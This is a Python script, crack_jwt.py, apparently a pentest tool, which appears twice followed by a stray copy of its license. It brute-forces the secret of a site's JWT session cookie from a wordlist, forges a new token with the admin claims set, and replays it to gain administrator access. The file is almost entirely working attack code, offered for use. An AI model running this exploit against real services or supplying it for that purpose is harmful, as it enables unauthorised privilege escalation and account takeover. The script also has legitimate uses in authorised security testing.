<filename>crack_jwt.py
import sys
import jwt
import requests
import time

'''
Author: <NAME> (c) 2020, @ustayready
-
Copyright 2020 <NAME>

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
'''

def main(url, password_file):
	response = requests.get(url, headers={'user-agent':'pentest'})

	if 'session' in response.cookies:
		token = response.cookies['session']
		print(f'Old Token: {token}\n')
		with open(password_file,'r') as file:
			passwords = [x.strip() for x in file.readlines()]
			for password in passwords:
				success = decode_jwt(token, password)
				if success:
					new_session = exploit(token, password)
					cook = { 'session': new_session }
					new_request = requests.get(url,cookies=cook, headers={'user-agent':'pentest'})
					print(new_request.text)
					break

def exploit(token, password):
	decoded = jwt.decode(token, password)
	decoded['user_id'] = 'admin'
	decoded['is_admin'] = 'true' 
	encoded = jwt.encode(decoded,password).decode('utf-8')
	print(f'New Token: {encoded}\n')
	return encoded

def decode_jwt(token, password):
	try:
		decoded = jwt.decode(token, password)
		print(f'Password found! {password}\n')
		return True
	except:
		return False

if __name__ == '__main__':
	url = sys.argv[1]
	password_file = sys.argv[2]
	
	main(url, password_file)

<filename>crack_jwt.py
import sys
import jwt
import requests
import time

'''
Author: <NAME> (c) 2020, @ustayready
-
Copyright 2020 <NAME>

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
'''

def main(url, password_file):
	response = requests.get(url, headers={'user-agent':'pentest'})

	if 'session' in response.cookies:
		token = response.cookies['session']
		print(f'Old Token: {token}\n')
		with open(password_file,'r') as file:
			passwords = [x.strip() for x in file.readlines()]
			for password in passwords:
				success = decode_jwt(token, password)
				if success:
					new_session = exploit(token, password)
					cook = { 'session': new_session }
					new_request = requests.get(url,cookies=cook, headers={'user-agent':'pentest'})
					print(new_request.text)
					break

def exploit(token, password):
	decoded = jwt.decode(token, password)
	decoded['user_id'] = 'admin'
	decoded['is_admin'] = 'true' 
	encoded = jwt.encode(decoded,password).decode('utf-8')
	print(f'New Token: {encoded}\n')
	return encoded

def decode_jwt(token, password):
	try:
		decoded = jwt.decode(token, password)
		print(f'Password found! {password}\n')
		return True
	except:
		return False

if __name__ == '__main__':
	url = sys.argv[1]
	password_file = sys.argv[2]
	
	main(url, password_file)

Author: <NAME> (c) 2020, @ustayready
 -
 Copyright 2020 <NAME>
 
 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
 to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
 and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
 
 The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 
 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 
 DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 
 OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.